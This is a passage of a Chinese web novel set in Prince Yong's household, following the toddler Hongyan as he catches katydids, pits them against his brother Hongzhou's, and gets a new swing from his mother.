毕竟六阿哥才一岁多,走了这段路该累着了。 弘晏闻言,摇了摇小脑袋,一脸坚定道:“窝阔以。” 兔兔也是要面子滴! 王乳娘见状,只得先作罢。 待又走了几步远后,王乳娘来了主意:“哎呦,六阿哥,奴婢脚好像崴着了,可否歇上一歇?” 弘晏闻言,听了脚步的步子,抬头看着满脸痛色的王乳娘,一张奶呼呼的小脸瞬间变得严肃:“泥歇着,窝去,找府医。” 弘晏说完便要走,被王乳娘给拦下了:“多谢六阿哥,奴婢不妨事,就是抽筋了,歇一歇就好。” 弘晏摇了摇脑袋,抬手指着王乳娘,几乎是命令似的语气:“不行,泥,等着。” 弘晏心里明白,在王乳娘的思维里,自己的身份是卑微的奴才,所以受伤了理应自己忍着抗着,万不该叨扰主子的。 可自从他出生以后,除了额娘乌拉那拉氏,就是王乳娘一直贴身照顾着自己,没有一点儿懈怠,所以弘晏不可能对于王乳娘的崴脚置之不理。 王乳娘压根没有想到,只有一岁多的六阿哥板着脸严肃起来的模样,竟然与四爷是那么的相像,王乳娘更是没有料到六阿哥对她竟然是那样的关怀,一时间,心中感动不已。 不过,她是故意说自己脚崴了,好让六阿哥能停下来休息一番,若是六阿哥真找来了府医,她岂不是搬了石头砸了自己的脚。 王乳娘笑呵呵的说道:“六阿哥,奴婢真的没事,现在脚已经缓过来了。” 王乳娘说完,还怕弘晏不相信,当即原地转了好几个圈圈给弘晏看。 弘晏这才相信了王乳娘的话,放弃了返回找府医的想法。 主仆两个继续向前走,王乳娘长舒一口气。 善意的谎言也是谎言,谎言不想被拆穿,就需要用更多的谎言去圆谎言,以后还是实实在在的好。 到了园子里,弘晏没看盛开的各色鲜花,反而在草丛前停了下来。 “乳娘,泥看。” 王乳娘的视线顺着弘晏手指的方向看去,那草丛里有几只蝈蝈。 蝈蝈本是常见的昆虫,可对于一个一岁多的孩子来说,还是很有吸引力的,王乳娘便猜测着问道:“六阿哥是想捉蝈蝈吗?” 弘晏点了点头:“锅锅送窝了一个蝈蝈,窝捉一个,给它作伴。” 王乳娘了然后,问道:“那奴婢帮您一起?” 弘晏想也不想就摇了摇小脑袋,转而抬眼看向王乳娘,十分坚定道:“窝阔以。” 王乳娘只好作罢。 自家主子虽小,却很有主见。 弘晏撸了撸袖子,拿出要大干一场的架势,随后便瞄上了那只攀爬在叶子上的黄绿色蝈蝈。 弘晏轻手轻脚的走过去,还没等弘晏出手那机警的蝈蝈已然跳进了草丛深处。 出师不顺,弘晏瘪了瘪嘴,马 上又重振旗鼓,想着方才的失败是因为叶子高而软不好抓捕,这回弘晏便盯上了一只窝在土壤上的碧绿色的蝈蝈。 弘晏悄悄的靠近,见那蝈蝈还未发觉,心里一喜,嘴角都跟着扬起了一个弧度,然后就在弘晏探出去的手快要抓到的时候,那碧绿色的蝈蝈展现了超高的弹跳能力,一跃而起,紧接着消失不见。 这回不但没抓到蝈蝈,手心还粘上了泥土。 弘晏有些挫败,撅着嘴巴拍了拍手心。 王乳娘见状,出声道:“六阿哥,您瞧,这草丛连朵野花都长不出来,定然风水不好,那边的草丛长的茂盛,咱去那边瞧瞧?” 弘晏听了这话,觉得很有道理,立马抬步换了地方。 这片草丛确实长的很好,弘晏的视线扫视过后,瞄上了一只身体是绿色背部却是褐色的蝈蝈。 这一回,弘晏提前抬起双手,屏住呼吸,一小步一小步的往前移,慢慢的靠近那只蝈蝈。 观着弘晏的动作,王乳娘连大气也不敢喘。 生怕六阿哥又没有捉住蝈蝈,到时候自己又该找什么理由,才能安抚好六阿哥的情绪。 经过前两次的失败,弘晏这次十分谨慎,用眼睛测量过自己与蝈蝈相差的完美距离之后,果断的向前扑过去。 紧接着,响起了弘晏的小奶音:“乳娘,泥看。” 弘晏笑呵呵的站起来,将自己的“战利品”举给王乳娘。 王乳娘眉开眼笑的夸道:“阿哥真是厉害,竟捉了这么大只的蝈蝈。” 多谢老天,多谢各路神仙,终于让小主子捉到了。 弘晏满是骄傲,随即喜滋滋的看着自己手里的蝈蝈。 “六阿哥?” 弘晏听到有人唤自己,扭过脸一看,竟是年侧福晋。 弘晏笑嘿嘿的走过去唤道:“年姨凉。” 待来到了年侧福晋面前,弘晏迫不及待的将自己手里的蝈蝈高高举起给年侧福晋分享:“泥看。” 年侧福晋看清了弘晏手里的东西后,一张温柔的笑脸瞬间石化,赶忙往后退了两步。 年侧福晋身旁的桃夭见状,赶忙伸出手护着年侧福晋,愤然道:“六阿哥,平白无故的你拿虫子吓唬我们侧福晋作甚?” 弘晏有些蒙了,眼睛里的喜悦与激动也变成了茫然与委屈。 年侧福晋是怕虫子吗? 可是他又不知道。 王乳娘立马回怼道:“桃夭,你放肆,你是什么身份,竟敢这么对六阿哥讲话。” 王乳娘说着,眼睛望了一眼小脸煞白的年侧福晋,随即扬了扬下巴,眼睛又落在出言不逊的桃夭身上,提高嗓门儿道:“还是说,以下犯上,是你们年府的规矩。” 这么好的六阿哥,就算是天王老子来了,她也绝不容许任何人在六阿哥面前撒野。 年侧福晋平复了一下受到惊吓的情绪,出声道:“桃夭,还愣着做什么?” 方才大老远儿的就瞧着弘晏趴在地上,应该是为了捉蝈蝈,而自己开口唤了他,弘晏许是为了让自己瞧瞧他亲手捉的蝈蝈,并没有恶意吓唬自己。 桃夭闻言,立马屈膝福身道:“奴婢一时糊涂,冒犯了六阿哥,还请阿哥恕罪。” 弘晏站着没动,他更没有说话。 他欣赏桃夭护主的行为,可是被人误解甚至是指责,他现在很难过,更说不出原谅的话来。 年侧福晋见弘晏那张好似布满了乌云的脸,愧疚涌上心头,出声道:“桃夭,掌嘴。” 桃夭闻言,抬起手给了自己一个响亮的耳光:“六阿哥,奴婢知错了。” 弘晏抬眼,瞧见了桃夭脸上那鲜红的五根手指印,心情更为复杂。 一旁的王乳娘却觉得解气的很。 “六阿哥,桃夭口无遮拦,我定好生管教。”年侧福晋话说完,看向桃夭说道:“罚你一月的月例。” 桃夭颔首称是。 年侧福晋赔罪的诚意,弘晏看到了,也愿意收下。 只是,他已然没有逛园子的兴致了。 随即,弘晏开口说道:“年姨凉,窝该回去了。” 年侧福晋遂点头道:“阿哥请便。” 第33章 第33章命中注定 小主子发了话,王乳娘自是跟着弘晏原路返回正院。 待弘晏与王乳娘走远了,年侧福晋方抬眸看向身旁的桃夭,问道:“疼吗?” 桃夭摇了摇脑袋。 年侧福晋的双眸直勾勾的盯着桃夭,很显然并不相信。 如今这里也没有外人了,桃夭抬手捂住自己红肿了一侧的脸颊,轻咬着下唇,微微点了点头。 年侧福晋缓缓开了口:“我之前嘱咐过你,一言一行都该再三思量,如今瞧着,你是权当耳旁风了。” 桃夭声音哽咽,怯怯的喊了一句:“侧福晋。” 她一向是嘴比脑子反应快的。 年侧福晋语见状,开始语重心长的教导着桃夭:“你从小便跟着我,我知你忠心,可你冒失的性子不改,你的忠心,迟早会害了你我。” 桃夭连声应是。 —— 这厢,回正院的路上,弘晏边走边开了口嘱咐道:“乳凉,别告诉额凉。” 事情已经了结,他不想额娘再烦忧。 王乳娘明白弘晏说的是方才园子里发生的事儿,点头应是。 主仆二人走过甬道,穿过游廊,迈过垂花门,终于到了正院。 弘晏一溜烟的跑进去,边跑边冲着屋子喊道:“额凉,额凉。” 屋内的乌拉那拉氏听着这欢快的小奶音,灿烂的笑容浮现在脸颊上。 不多时,弘晏的小身影就出现在乌拉那拉氏眼前,紧接着,弘晏直接扑在了乌拉那拉氏的大腿上。 乌拉那拉氏伸手将弘晏抱坐在自己的大腿上,手臂搂着弘晏,满是温柔的问道:“福宝,去哪里玩了?” “嘿嘿,蝈蝈,捉了好大一个。”弘晏边说着,边抬起两只小肉手比划着蝈蝈儿的身形大小来。 弘晏比划完便冲着门口的方向喊道:“乳娘,蝈蝈。” 弘晏的声音落下,王乳娘迈步进来,将一只蝈蝈笼子放进弘晏手里。 回来这一路上,王乳娘小心的拿着这蝈蝈,多一分儿力怕伤了,少一分儿力又怕蝈蝈逃走。 正院里除了五阿哥弘昼送给六阿哥弘晏的蝈蝈笼子外,再没有旁的笼子了,是以王乳娘便将新捉回来的蝈蝈,也放进了这唯一一个的蝈蝈笼子里。 弘晏笑嘿嘿的将手里的笼子送到乌拉那拉氏面前:“额凉,泥看。” 乌拉那拉氏知晓那只通体绿色的蝈蝈是弘昼送的,想来那只背上是褐色的蝈蝈,就是弘晏自己捉回来的了。 乌拉那拉氏抬手抚摸着弘晏的小脑袋,满是慈爱道:“福宝真厉害。” 得了额娘的夸奖,弘晏嘿嘿笑着,却恍然听见笼子里发出了蝈蝈的叫喊声。 弘晏低头一看,只见通体绿色的蝈蝈和新来的带褐色的蝈蝈较上了劲儿,你一声,我一声的,好似在互相叫嚣。 随即,弘晏一本正经的指着两只蝈蝈教育道:“不阔以,泥,泥,是伙伴。” 蝈蝈可不明白人类的心思,依旧强悍的叫着。 通体绿色的蝈蝈要维护自己的地位,而进入笼子里的带褐色的蝈蝈,身形要比通体绿色的蝈蝈大上一圈儿,是以,就算带褐色的蝈蝈知道自己是外来者,它也丝毫不惧。 而乌拉那拉氏瞧着弘晏小大人似的模样,忍不住笑了:“蝈蝈笼子本就不大,突然多了一只,地方狭窄,自然要打架的。” 人喜欢住大宅子,蝈蝈自然也是如此。 弘晏听了自己额娘的话,深觉有理,只是有些遗憾罢了。 他做玉兔精时独来独往惯了,只觉得自由潇洒,从不会觉得孤单寂寞,现如今做了人类,准确的说是人类幼崽,他感受到了亲情的温暖,更明白了陪伴的滋味,所以才想给孤零零的蝈蝈找一个伙伴,不承想,是多此一举了。 乌拉那拉氏见弘晏的眼神暗了下去,笑着道:“额娘编个蝈蝈笼子,叫它们分开放就是了。” 弘晏眼睛一亮。 对呀,他怎么没有想到呢? 既然做不成室友,那做邻居总是可以的。 乌拉那拉氏见弘晏很赞 同,便叫银烛去拿工具来,随即开始编起蝈蝈笼子来。 而弘晏就乖乖的在一旁看着。 乌拉那拉氏手巧,很快蝈蝈笼子的雏形便有了,弘晏便笑着夸道题“额凉,腻害。” 真没想到,额娘的动手能力这么强。 乌拉那拉氏听着自家儿子的彩虹屁,又瞧着自家儿子对自己满是崇拜的眼神后,脸上顿时乐开了花,两只手边上下翻腾竹条,边道:“额娘以前经常编蝈蝈笼子呢,什么样儿的都有。” 弘晏一听,更加好奇了:“真的吗?” 乌拉那拉氏笑着道:“额娘骗你作甚?从前,你弘……”晖哥哥最喜欢我编的蝈蝈笼子了。 “弘”字一出口,乌拉那拉氏未说完的话哽在了喉咙里,脸上的笑意僵住了,一双美眸更是流露出淡淡的哀伤来。 弘? 能让乌拉那拉氏的情绪突然变得低落的,应该就是历史上因为高烧不退而夭折的弘晖——他的亲哥哥。 许是母子连心,纵使弘晏本人与这个夭折多年的哥哥是两条没有交集的平行线,此时的弘晏也有些说不出来的难受。 弘晏轻轻唤了一声:“额凉。” 乌拉那拉氏从回忆中抽离出来,瞧着眼前那脸蛋儿上浮现出担忧之色的稚儿,不免有些自责。 乌拉那拉氏挤出笑容来:“福宝放心,额娘没事儿的。” 说着,乌拉那拉氏举起了编了一半儿的蝈蝈笼子:“瞧,马上就可以将你的蝈蝈放进去了。” 弘晏笑呵呵的点了点头:“嗯嗯。” 弘晖虽然夭折多年,但是作为母亲的乌拉那拉氏还是会触景生情。 就在这一刻,弘晏的脑子里突然蹦出了一个想法。 他被天雷击中,或许是命中注定的事儿? 毕竟,他享受了从未拥有过的母爱,而乌拉那拉氏也圆了失去儿子的遗憾。 这么想来,好像挺公平的。 乌拉那拉氏见一岁多的小娃娃凝神想着什么,这小模样还真让她看到了胤禛的影子。 不过,弘晏这么软软糯糯的小奶团子,将来长大定然不能随了胤禛的性子。 乌拉那拉氏掩下思绪,笑着喊道:“福宝,蝈蝈笼子编好了。” 弘晏闻言,思绪回笼,兴冲冲的拿起小巧精致的蝈蝈笼子看了看,而后叫王乳娘给那只带褐色的蝈蝈“搬家。” 两个蝈蝈都有了各自的领地,也不再叫喊,化干戈为玉帛了。 —— 暮色四合之时,胤禛下值回了正院。 弘晏很是骄傲的将自己的两只蝈蝈拎过来给胤禛看。 胤禛只道:“这蝈蝈可有名字?” 名字? 弘晏没想到这茬,摇了摇小脑袋。 胤禛见状,沉思片刻,朗声道:“这蝈蝈,一只叫绿牙,一只叫褐风,如何?” 胤禛的一双黑眸满是期待的望向小奶团子。 弘晏捉的蝈蝈,福晋编的蝈蝈笼子,再由他取了名字,一家三口方才齐全。 绿牙,褐风。 弘晏在心中将这两个名字念了一遍,朗朗上口,与这两只蝈蝈的颜色倒也适配。 于是,弘晏笑着点了点小脑袋。 紧接着,弘晏伸出手指,指向绿色的蝈蝈说道:“绿牙。”而后手又指向了带褐色的蝈蝈:“褐风。” 最后,弘晏将手指收了回去,小大人似的对两只蝈蝈说道:“绿牙,褐风,就是泥们的名字了,喜欢吗?” 两只蝈蝈好似听懂了弘晏的话,雀跃的叫了两声。 弘晏很是满意,叫王乳娘拿了果子来,他要喂这两只蝈蝈。 过了会儿,晚膳上了桌,乌拉那拉氏便喊弘晏来用膳。 白天费了不少力气,这会儿子弘晏倒是真的饿了,吃了半块牛肉酥饼,又喝了一大碗牛乳。 吃饱喝足,弘晏又跑去看自己的两只蝈蝈。 到安寝的时候了,便宜阿玛还没有走的意思,弘晏便搂紧了乌拉那拉氏,将倔强的小背影留给胤禛,一副休想把我抱走的样子。 胤禛哭笑不得,看向了乌拉那拉氏。 乌拉那拉氏瞧着挂在自己身上的弘晏,自是端水着将父子二人都留下,就这样,弘晏躺在拔步床的中间,里侧躺着乌拉那拉氏,外侧躺着胤禛。 小家伙玩了一天,小身子挨着松软的床褥,打了一个哈欠来。 乌拉那拉氏见状,伸出手轻轻拍打着弘晏,嘴里哼起了摇篮曲。 弘晏伴着这温柔的哼唱,眼皮子阖上,缓缓进入了梦乡。 翌日清晨,胤禛一醒,就发现身下的褥子湿濡温热还带着一股味道,不用想,又是弘晏这小家伙尿了床。 胤禛只得唤醒了乌拉那拉氏。 弘晏听到动静,自然也睁开了眼睛,映入眼帘的便是自家阿玛那复杂的神情。 弘晏低头一看,全都明白了,随即,朝着胤禛露出来一个无辜的笑容。 怪不得他昨晚做梦自己在航海呢。 胤禛可不买账,哭笑不得道:“阿玛来十回,八回能赶上你尿床。” 弘晏听罢,可就不愿意了。 他哪里尿过那么多次床。 随即,弘晏委屈巴巴的窝进了乌拉那拉氏怀里。 乌拉那拉氏见状,一边安抚着弘晏,一边望向胤禛,替弘晏撑起了腰:“瞧爷说的,我们福宝还小着呢,爷幼时又不是没有尿过床,还笑话自己儿子。” 窝在乌拉那拉氏怀里的弘晏适时出声道:“就是,就是。” 他还是个宝宝呢。 瞧着眼前的母子两个一唱一和的,胤禛败下阵来,默默收拾好,出门上朝去了。 这厢,内室的床铺已然换了新,乌拉那拉氏抱着弘晏又睡起了回笼觉,半个时辰后,母子两个开开心心的吃起了早膳。 用罢早膳,弘晏想带着两只蝈蝈找弘昼玩,乌拉那拉氏便嘱咐王乳娘好生看顾着弘晏。 弘晏在自家额娘脸上“吧唧”亲了一口,便欢欢喜喜的带着两个蝈蝈笼子出门去了。 第34章 第34章蝈蝈对战 邀月轩内。 耿格格坐在檀木小榻的一端,手里捧着一本启蒙的读物——《三字经》。 而弘昼坐在檀木小榻的另一端,百般无聊的晃悠着两条小短腿。 耿格格一本正经的且放慢语速的读道:“苟不教,性乃迁。” 这边的弘昼兴致缺缺的边扣着手指头,边跟读道:“狗不叫,猫不来。” 耿格格听罢,蹙着眉头道:“弘昼,你专心些。” 弘昼“哦”了一声。 耿格格耐着性子继续往下读:“教之道,贵以专。” 弘昼摇晃着小脑袋:“要知道,贵的好。” 耿格格有些气了:“弘昼!” 弘昼委屈巴巴的撒娇道:“额娘,读了这么久,我都渴了。” 耿格格有些无奈:“你方才刚喝过水。” 弘昼一怔,而后捂住肚子,撅着嘴:“那我就是饿了,额娘。” 耿格格见招拆招:“早膳你吃了三个香菇猪肉包,喝了一碗红枣桂圆粥,如今堪堪过去一刻钟的时间。” 弘昼的谎话再度被拆穿,眨了眨眼睛,脑子飞快运转,再想更好的借口。 而耿格格将手中的书本放在炕桌上,语重心长的说道:“弘昼,弘历的《三字经》已然快背完了,额娘没指望你一口气追上他,可你好歹学一些,不然你阿玛问起来,额娘如何交代。” 四爷对儿子们的学业一向是严格要求的,如今膝下四子,弘时最长,养在外院由师傅教导授课自不必说,弘晏还小,最为年幼,剩下弘历与弘昼都到了启蒙的年岁了,钮祜禄格格聪慧,弘历小小年纪就勤奋好学,弘昼却一味的贪玩,若是四爷哪一日起了兴,询问起弘历与弘昼的启蒙情况,届时弘昼若一问三不知,定是要挨训斥的。 耿格格的一大段话说完,弘昼却发现了问题的关键点:“额娘,四哥比我大三个月呢,我自然没他厉害,就算是阿玛,也得讲道理啊。” 耿格格一时语塞:“这……” 好像有点儿道理,可她总觉得哪里有些不对劲。 见额娘被自己绕了进去,弘昼的眼睛里划过一抹狡黠的笑,正准备脚底抹油——开溜时,却见秋叶进来禀报道 :“格格,六阿哥来了。” 弘昼闻言,眼睛一亮,蹦下了小榻笑道:“嘿嘿,弟弟来了。” 弘时养在外院,阿玛又管教的严,平日里很少能见到,而弘历虽然与他年纪相仿,可总是拉着他一起读书、背书,一点儿意思都没有,好不容易有弘晏可以一起玩耍,可额娘总在他耳边絮絮说着弘晏金贵,与他们不同,嫡额娘虽然应允他可以常去正院,但还是不去为好。 他便只能自己找乐子,或者跟小太监们一起玩。 耿格格正疑惑着六阿哥怎么会突然到访时,一大一小两个人影已经进来了。 弘晏笑呵呵的喊道:“耿姨凉,锅锅。” 身后的王乳娘福身道:“见过耿格格,五阿哥。” 耿格格微微颔首。 而弘昼一溜烟儿跑到了弘晏面前,笑问:“弟弟,你怎么来了?” 弘晏笑眯眯的说道:“找泥玩,看,窝的蝈蝈。” 弘晏抬手一指,弘昼才发现王乳娘手上拿着两个蝈蝈笼子。 弘昼凑过去看,很快就认出了自己送给弘晏的绿色蝈蝈,同时,弘昼也瞧见了另一只眼生的蝈蝈,有些迟疑的指着那只蝈蝈问道:“弟弟,你捉的吗?” “嗯。”弘晏扬了扬小脸,很是骄傲的应了一声,还不忘介绍道:“笼子,窝额凉编的。” “嘿嘿,那咱们出去玩吧。”弘昼说罢,便拉起弘晏的小手往外面走。 哇,弘晏的手好软好小啊。 弘昼这样想着,手上的力便放小了些。 王乳娘朝着耿格格点头之后,便跟着两位阿哥出去了。 耿格格见状,便差了秋叶出去看顾着两位阿哥,自己则去了小厨房,要亲手做些羹汤来。 雍亲王府原来只有福晋、李侧福晋与年侧福晋的院子里有小厨房,后来,她与钮祜禄格格生下了小阿哥,四爷才吩咐下去,给她们的院子里建了小厨房。 这厢,弘昼带着弘晏来到了院子里的阴凉处后,把自己的蝈蝈笼子也拿出了出来,还有斗蝈蝈的陶罐子和牛筋草。 斗蝈蝈弘晏可不会,不过弘昼拍了拍胸脯,表示我来教你,放一百个心,保证你喜欢玩。 弘晏想到什么,问道:“锅锅,你的蝈蝈有名字吗?” 既然是斗蝈蝈,那参赛选手总得有个名号吧。 “当然有了。”弘昼说罢,便开始介绍自己的蝈蝈:“这个叫大黑,那个叫二黑,三花……” 弘晏:“……” 好草率的名字。 弘昼介绍完了,便问道:“弟弟,你的蝈蝈呢?叫什么名字?” 弘晏指着自己的两个蝈蝈说道:“绿牙,褐风。” 弘昼听罢,不说话了。 两个蝈蝈的名字,起那么复杂作甚,哪里像他起的名字,简单好听还好记。 弘晏见弘昼不言语,问道:“锅锅?” 弘昼回神后,笑道:“好,咱们开始吧。” 本着公平公正的原则,弘昼从自己的蝈蝈里选出了两只来出战,分别是大黑和三花。 比赛分为三局,前两局是个人战,两只蝈蝈分别出战,第三局则是团体战,两只蝈蝈同时上场,最后三局两胜的方为赢家。 第一场,弘昼方是大黑出战,弘晏瞧着大黑的体型与气势,选了较大些的褐风出战。 王乳娘与秋叶两个人从围观群众,一下子变成了裁判。 待裁判一声令下,弘昼与弘晏分别将自己的蝈蝈放入陶罐中,而后弘晏学着弘昼的样子拿着牛筋草给褐风做赛前热身。 裁判二声令下,陶罐中的隔板被拿开,比赛开始。 弘晏激动中还带着些紧张。 大黑与褐风不相上下,战况焦灼,进入了白热化的阶段,最后裁判判定为平局,弘晏与弘昼都没有异议。 第二局开始,三花一上来就对绿牙进行了猛烈的攻击,绿牙之前在蝈蝈笼子里与褐风只是用叫声相互叫嚣,并没有实战的经验,是以,很快败下阵来。 两局下来,弘昼站上风,是以,第三局是弘晏翻盘的关键。 战局一开始,三花就对绿牙发起了进攻,褐风本想去帮绿牙,却被大黑牵制住了。 三花对战过绿牙,知晓绿牙的弱点是什么,是以,施展了同样的战术,绿牙正面对抗不过三花,只能使用迂回战术。 这边褐风与大黑的对决中,大黑节节败退,褐风没有选择继续进攻,转而去帮绿牙抗击三花。 三花双拳难敌四手,很快处于下风,而大黑缓过神儿来,冲向了战斗的中心地带,局势一瞬间从二对一变成了大混战。 别说弘晏与弘昼看得目不转睛,就连王乳娘与秋叶都有些激动。 最终,三花与大黑落败,绿牙与褐风逆水翻盘,获得胜利。 战局拉下帷幕,一局平,二局弘昼胜,三局弘晏胜。 三局算下来,二人打成了平手。 弘昼对弘晏竖起了大拇指:“弟弟,你第一次斗蝈蝈,就这么厉害了。” 弘晏笑呵呵道:“锅锅,泥也腻害。” 斗了半天,蝈蝈也都累了。 王乳娘与秋叶将两位小阿哥的蝈蝈收好,弘昼则拉着弘晏去到秋千架处。 弘昼问道:“弟弟,要玩吗?” 弘晏抬眼看着秋千架虽然很高,但是坐人的红木板离地面却很近,一瞧就是专门为儿童设计的秋千。 弘晏眼睛亮亮的点了点头。 随即,弘昼把弘晏抱到了秋千架上面,笑道:“弟弟坐好,手扶稳,我来推你。” 弘晏乖乖照做,一旁的王乳娘却有些担忧。 王乳娘委婉开口:“五阿哥,您歇着,还是奴婢来吧。” 方才瞧着五阿哥抱她们六阿哥,她已经够紧张的了。 弘昼看出了王乳娘的心思,一脸坚定的拍了拍自己的小胸脯:“乳娘放心,我可以的,不会摔了弟弟的。” 王乳娘还是有些迟疑,可也不敢直接否决五阿哥的话,正想着让秋叶去找耿格格,就听见弘晏的小奶音响起了:“乳娘,锅锅阔以。” 弘晏都这么说了,王乳娘也不好再多说什么,但是却抬步站在了秋千架旁边,一双眼睛紧紧的关注着弘晏的动向。 “弟弟坐稳,我要开始了。” 弘昼说完,伸出双手轻轻推向了弘晏的后背。 弘晏受到了推力,整个人随着秋千一起向前荡去,在空中划出了弧线。 秋千上的弘晏不仅感觉到自己的视野开阔了,而且有一股清风拂过他的脸蛋儿,甚至弘晏还听到了风从他耳边吹过的声音。 秋千真好玩! 弘晏笑着道:“嘿嘿,锅锅,快一点儿。” 弘昼听罢,手上的力加了些:“好嘞。” 弘晏过足了瘾,便要秋千停下来,好让自己下去,把弘昼换上来。 弘昼笑着道:“不用,弟弟你往旁边坐坐就成。” 弘晏明白了,弘昼想和自己一起玩儿。 随即,弘晏的小屁股便往旁边挪了挪,将位置空出来一半,弘昼轻松的坐上了秋千,而王乳娘自然就担起了推秋千的任务。 一时间,两个小阿哥的欢笑声回荡在邀月轩的院子里。 少顷,耿格格出来喊道:“弘昼,六阿哥,下来歇会儿吧,杏仁酪好了。” 耿格格问过王乳娘弘晏的饮食情况,知晓弘晏能吃杏仁,才做了这道杏仁酪。 弘昼和弘晏一听,连连应声。 王乳娘扶稳了秋千后,先将弘晏抱了下来,正准备一并将弘昼抱下来时,弘昼却自己蹦了下来。 而耿格格对此,早以习以为常了。 这道杏仁酪里有浓郁的奶香味,还夹杂着桂花的清香,弘晏很是喜欢,含糊不清的夸道:“姨凉,酪酪好吃。” 耿格格柔柔的笑着:“六阿哥喜欢就好。” 弘晏将嘴里的杏仁酪咽下,笑嘿嘿的对着耿格格说道:“姨凉,叫窝福宝,就好。” 耿格格微微一怔,旋即开口道:“好,福宝。” 弘晏甜甜的“啊”了一声,旋即又进入了干饭模式。 耿格格在心里思忖着:怪不得弘昼喜欢找弘晏玩,这么软萌可爱的小团子,谁会不喜欢呢。 杏仁酪吃完,王乳娘拿着帕子给弘晏擦了擦嘴,顺便提醒弘晏出来这么久,该回正院去了。 弘晏便和耿格格、弘昼挥手拜拜。 弘昼还有些舍不得弘晏走:“弟弟,嘿嘿,再来玩呀,我也会去找你的。” 弘晏笑眯眯道:“好啊。” 送走了弘晏,耿格格笑着对弘昼说道:“玩了这么久,跟额娘再读读清早学的《三字经》。” 弘昼一听这话,装模做样的打起来了哈欠,眯起了眼睛:“额娘,陪弟弟玩了太久,我又累又困,眼睛都睁不开了。” 耿格格:“……” 第35章 第35章豪华秋千 “额凉,窝回来了。” 弘晏边兴冲冲的朝着屋子里喊着,小短腿边哒哒的跑着。 乌拉那拉氏听见了熟悉的小奶音,迈着步子下了台阶,弯腰将弘晏抱进了怀里。 临近晌午,日头越发大了,弘晏的小脸蛋儿有些红扑扑的,雪白的鼻头更是沁出了一层薄汗。 乌拉那拉氏一只手托紧了弘晏,让其坐在自己的臂弯处,另一只手则拿出腰间的帕子,给弘晏擦拭鼻头上的细汗。 弘晏小朋友正是兴奋的时候,抬起手对着乌拉那拉氏比划起来:“额凉,窝想要秋千,大秋千。” 一旁的王乳娘见状,便讲起了在邀月轩发生的事情。 乌拉那拉氏听完,这便明白了。 随后,乌拉那拉氏笑呵呵的抱着弘晏,边往屋子里走,边说道:“好,额娘让人给咱们福宝建一个大秋千。” 屋子里,银烛将午膳摆好,流萤则端来了铜盆,乌拉那拉氏拿着温热的帕子给弘晏擦脸、擦手,而后母子两个便开始用午膳了。 席间,弘晏还不忘嘱咐王乳娘给绿牙和褐风喂食,它们两个今日出了不少力,该多喂些补充营养才好。 王乳娘应声去办。 弘晏玩了一早上,耗费了不少精气神儿,吃饱喝足之后,很快有了困意。 乌拉那拉氏见状,便打横将弘晏抱在怀里,一边轻声哼唱,一边在屋子里来回踱步。 少顷,乌拉那拉氏怀里的弘晏,传出了均匀绵长的呼吸声。 乌拉那拉氏瞧着弘晏恬静的睡颜,微微低头,而后凑上去在弘晏的额头上蜻蜓点水般的亲了一下。 随即,乌拉那拉氏抱着弘晏迈进了内室。 乌拉那拉氏轻轻的将弘晏放在了拔步床上,给弘晏掖好被子之后,又将帐幔放下,才轻手轻脚的阖上隔扇门,离开了内室。 银烛见乌拉那拉氏出来,递上了一盏茶:“福晋,建秋千架的事儿,已然知会高总管了。” 胤禛的两个心腹苏培盛与高无庸是当初在阿哥所时,就跟着胤禛伺候了。 待胤禛出宫建府,自是将两人带了出来,高无庸负责管理雍亲王前院的事宜,苏培盛则跟着胤禛鞍前马后的办差。 乌拉那拉氏“嗯”了一声,便开始翻看她陪嫁铺子的账目。 不过一刻钟的功夫,高无庸便带着几个小太监来了正院,给乌拉那拉氏请过安后,便开始着手建秋千架。 银烛见状,捧着一盏茶走了出去,递到高无庸面前。 高无庸笑着推辞:“有劳银烛姑娘了,活儿还没干,怎么能先喝茶呢。” 银烛笑道:“高总管,大热天儿的您还亲自跑一趟来监工,着实辛苦,凉茶败火,这也是福晋的心意。” 话说到这份儿上,高无庸若是不接茶盏,岂不是不给福晋面子了。 “呦,那银烛姑娘可得替我谢过福晋,给福晋和六阿哥办差,怎敢假于人手。” 说着,高无庸笑呵呵的接过了茶盏。 银烛笑着福身道:“高总管您忙着,奴婢得去福晋身边侍候着了。” 高无庸赶忙咽下口中的茶水,接话道:“姑娘自忙。” 瞧着银烛进了屋子,高无庸转而压低声音吩咐手下的小太监们手脚轻些,免得惊醒了午睡的六阿哥。 —— 这厢,弘晏午睡醒来已经是一个时辰以后的事情了。 弘晏先是抬起手,揉了揉自己的眼睛,紧接着又从拔步床上坐起来,伸了伸懒腰,便开始呼唤乌拉那拉氏。 乌拉那拉氏听到动静,便带着王乳娘进来,给弘晏梳洗过后,弯腰抱起弘晏迈步走出了屋子。 此时的太阳缓缓向西落去,阳光倾泻下来落在地上像一大片的碎金,却不刺眼,而弘晏一抬眸便发觉了院子里多了一样东西——大秋千。 乌拉那拉氏瞧着弘晏的眼睛里满是惊喜,笑问:“福宝,可还喜欢?” 这架秋千是用上好的紫檀木做的,上面雕刻着如意花纹,两旁的绳索不仅结实还可以调节长度,下面的座椅足够容纳三个弘晏。 弘晏连连点头,这个秋千可以称之为豪华秋千了。 “好额凉。”弘晏说着,两只胳膊环上乌拉那拉氏的脖子,小脸凑上去,在乌拉那拉氏的脸上连亲了好几下,而后就嚷嚷着要荡秋千玩。 被儿子糊了一脸口水的乌拉那拉氏,眉眼中却都是幸福。 乌拉那拉氏抱着弘晏迈下了台阶,将兴奋的小家伙放在了檀木座椅上,趁着秋千荡起来的功夫,乌拉那拉氏才有空擦拭脸上的口水。 弘晏笑嘿嘿的喊道:“额凉,快一点儿。” 听着弘晏银铃般的清脆笑声,乌拉那拉氏笑得眉眼弯弯:“好,福宝可坐稳了。” 秋千再次荡起来的时候,弘晏笑着喊道:“芜湖,飞高高了。” 弘晏过足了瘾,便要下来,嚷着让乌拉那拉氏坐上去。 乌拉那拉氏摇了摇头:“福宝,你可推不动额娘。” 弘晏指了指王乳娘:“还有乳凉,额凉,坐。” 秋千对于乌拉那拉氏来说,是小孩子玩的东西,原是不肯坐的,可是拗不过弘晏,便只好坐上去了。 想来她记忆中荡秋千的时候,除了幼时,便是与胤禛刚成亲的那几年,还在阿哥所生活的时候了。 后来有了弘晖,那秋千架本想着给弘晖玩儿,只可惜弘晖恐高,一坐上去就瘪着嘴喊额娘。 岂料秋千给弘晖留下了阴影,弘晖不敢玩秋千,一瞧见秋千就害怕,阿哥所的那架秋千便也拆了…… “额凉,坐好了吗?” 弘晏的小奶音将乌拉那拉氏从久远的回忆中拉了出来:“坐好了。” 